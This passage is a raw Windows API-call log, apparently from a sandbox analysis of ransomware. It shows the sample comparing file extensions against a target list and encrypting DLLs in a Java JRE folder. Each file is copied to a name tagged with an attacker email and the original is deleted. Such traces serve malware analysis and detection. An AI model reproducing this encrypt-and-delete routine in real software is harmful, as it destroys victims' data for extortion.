	[0084.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.632] lstrlenW (lpString=".doc") returned 4
	[0084.632] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.632] lstrlenW (lpString=".docx") returned 5
	[0084.632] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.632] lstrlenW (lpString=".pdf") returned 4
	[0084.632] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.632] lstrlenW (lpString=".xls") returned 4
	[0084.632] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.632] lstrlenW (lpString=".xlsx") returned 5
	[0084.632] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.632] lstrlenW (lpString=".ppt") returned 4
	[0084.632] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.632] lstrlenW (lpString=".zip") returned 4
	[0084.632] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.632] lstrlenW (lpString=".rar") returned 4
	[0084.632] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.632] lstrlenW (lpString=".bz2") returned 4
	[0084.632] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.632] lstrlenW (lpString=".7z") returned 3
	[0084.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.632] lstrlenW (lpString=".dbf") returned 4
	[0084.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.633] lstrlenW (lpString=".1cd") returned 4
	[0084.633] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.633] lstrlenW (lpString=".jpg") returned 4
	[0084.633] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.633] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.633] lstrlenW (lpString="fxplugins.dll") returned 13
	[0084.633] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.966] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=186944) returned 1
	[0084.966] CloseHandle (hObject=0x378) returned 1
	[0084.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20
	[0084.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.967] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.967] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.995] GetLastError () returned 0x0
	[0084.995] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x2da40, lpOverlapped=0x0) returned 1
	[0085.004] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2da50, lpOverlapped=0x0) returned 1
	[0085.008] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.008] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xee, lpOverlapped=0x0) returned 1
	[0085.008] SetEndOfFile (hFile=0x380) returned 1
	[0085.008] CloseHandle (hObject=0x380) returned 1
	[0085.008] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.008] SetEndOfFile (hFile=0x378) returned 1
	[0085.011] CloseHandle (hObject=0x378) returned 1
	[0085.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.011] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1
	[0085.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.011] lstrlenW (lpString=".doc") returned 4
	[0085.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.011] lstrlenW (lpString=".docx") returned 5
	[0085.011] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0085.011] lstrlenW (lpString=".pdf") returned 4
	[0085.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.011] lstrlenW (lpString=".xls") returned 4
	[0085.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".xlsx") returned 5
	[0085.012] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0085.012] lstrlenW (lpString=".ppt") returned 4
	[0085.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.012] lstrlenW (lpString=".zip") returned 4
	[0085.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".rar") returned 4
	[0085.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".bz2") returned 4
	[0085.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.012] lstrlenW (lpString=".7z") returned 3
	[0085.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.012] lstrlenW (lpString=".dbf") returned 4
	[0085.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.012] lstrlenW (lpString=".1cd") returned 4
	[0085.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.012] lstrlenW (lpString=".jpg") returned 4
	[0085.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.012] lstrlenW (lpString=".doc") returned 4
	[0085.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".docx") returned 5
	[0085.012] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0085.012] lstrlenW (lpString=".pdf") returned 4
	[0085.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".xls") returned 4
	[0085.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".xlsx") returned 5
	[0085.013] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0085.013] lstrlenW (lpString=".ppt") returned 4
	[0085.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.013] lstrlenW (lpString=".zip") returned 4
	[0085.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".rar") returned 4
	[0085.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".bz2") returned 4
	[0085.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString=".7z") returned 3
	[0085.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.013] lstrlenW (lpString=".dbf") returned 4
	[0085.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.013] lstrlenW (lpString=".1cd") returned 4
	[0085.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0085.013] lstrlenW (lpString=".jpg") returned 4
	[0085.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.013] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0085.013] lstrlenW (lpString="hprof.dll") returned 9
	[0085.013] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.014] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=158272) returned 1
	[0085.014] CloseHandle (hObject=0x378) returned 1
	[0085.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20
	[0085.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.014] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.014] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.014] GetLastError () returned 0x0
	[0085.014] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x26a40, lpOverlapped=0x0) returned 1
	[0085.018] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x26a50, lpOverlapped=0x0) returned 1
	[0085.021] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.021] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0085.022] SetEndOfFile (hFile=0x380) returned 1
	[0085.022] CloseHandle (hObject=0x380) returned 1
	[0085.022] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.022] SetEndOfFile (hFile=0x378) returned 1
	[0085.024] CloseHandle (hObject=0x378) returned 1
	[0085.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.024] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1
	[0085.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.024] lstrlenW (lpString=".doc") returned 4
	[0085.024] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.024] lstrlenW (lpString=".docx") returned 5
	[0085.024] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1
	[0085.024] lstrlenW (lpString=".pdf") returned 4
	[0085.024] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.024] lstrlenW (lpString=".xls") returned 4
	[0085.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.024] lstrlenW (lpString=".xlsx") returned 5
	[0085.024] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1
	[0085.024] lstrlenW (lpString=".ppt") returned 4
	[0085.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.024] lstrlenW (lpString=".zip") returned 4
	[0085.024] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".rar") returned 4
	[0085.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".bz2") returned 4
	[0085.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.025] lstrlenW (lpString=".7z") returned 3
	[0085.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.025] lstrlenW (lpString=".dbf") returned 4
	[0085.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.025] lstrlenW (lpString=".1cd") returned 4
	[0085.025] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.025] lstrlenW (lpString=".jpg") returned 4
	[0085.025] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.025] lstrlenW (lpString=".doc") returned 4
	[0085.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".docx") returned 5
	[0085.025] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1
	[0085.025] lstrlenW (lpString=".pdf") returned 4
	[0085.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".xls") returned 4
	[0085.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".xlsx") returned 5
	[0085.025] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1
	[0085.025] lstrlenW (lpString=".ppt") returned 4
	[0085.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.025] lstrlenW (lpString=".zip") returned 4
	[0085.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".rar") returned 4
	[0085.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.026] lstrlenW (lpString=".bz2") returned 4
	[0085.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.026] lstrlenW (lpString=".7z") returned 3
	[0085.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.026] lstrlenW (lpString=".dbf") returned 4
	[0085.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.026] lstrlenW (lpString=".1cd") returned 4
	[0085.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0085.026] lstrlenW (lpString=".jpg") returned 4
	[0085.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.026] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0085.026] lstrlenW (lpString="instrument.dll") returned 14
	[0085.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.026] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=123456) returned 1
	[0085.026] CloseHandle (hObject=0x378) returned 1
	[0085.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20
	[0085.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.027] GetLastError () returned 0x0
	[0085.027] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x1e240, lpOverlapped=0x0) returned 1
	[0085.031] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1e250, lpOverlapped=0x0) returned 1
	[0085.294] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.294] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0085.295] SetEndOfFile (hFile=0x380) returned 1
	[0086.142] CloseHandle (hObject=0x380) returned 1
	[0086.161] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.161] SetEndOfFile (hFile=0x378) returned 1
	[0086.169] CloseHandle (hObject=0x378) returned 1
	[0086.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.169] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1
	[0086.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.169] lstrlenW (lpString=".doc") returned 4
	[0086.169] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.169] lstrlenW (lpString=".docx") returned 5
	[0086.169] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.170] lstrlenW (lpString=".pdf") returned 4
	[0086.170] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString=".xls") returned 4
	[0086.170] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString=".xlsx") returned 5
	[0086.170] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.170] lstrlenW (lpString=".ppt") returned 4
	[0086.170] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.170] lstrlenW (lpString=".zip") returned 4
	[0086.170] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString=".rar") returned 4
	[0086.170] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString=".bz2") returned 4
	[0086.170] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.170] lstrlenW (lpString=".7z") returned 3
	[0086.170] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.170] lstrlenW (lpString=".dbf") returned 4
	[0086.170] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.170] lstrlenW (lpString=".1cd") returned 4
	[0086.170] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.170] lstrlenW (lpString=".jpg") returned 4
	[0086.170] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.170] lstrlenW (lpString=".doc") returned 4
	[0086.170] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.170] lstrlenW (lpString=".docx") returned 5
	[0086.170] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.170] lstrlenW (lpString=".pdf") returned 4
	[0086.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.171] lstrlenW (lpString=".xls") returned 4
	[0086.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.171] lstrlenW (lpString=".xlsx") returned 5
	[0086.171] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.171] lstrlenW (lpString=".ppt") returned 4
	[0086.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.171] lstrlenW (lpString=".zip") returned 4
	[0086.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.171] lstrlenW (lpString=".rar") returned 4
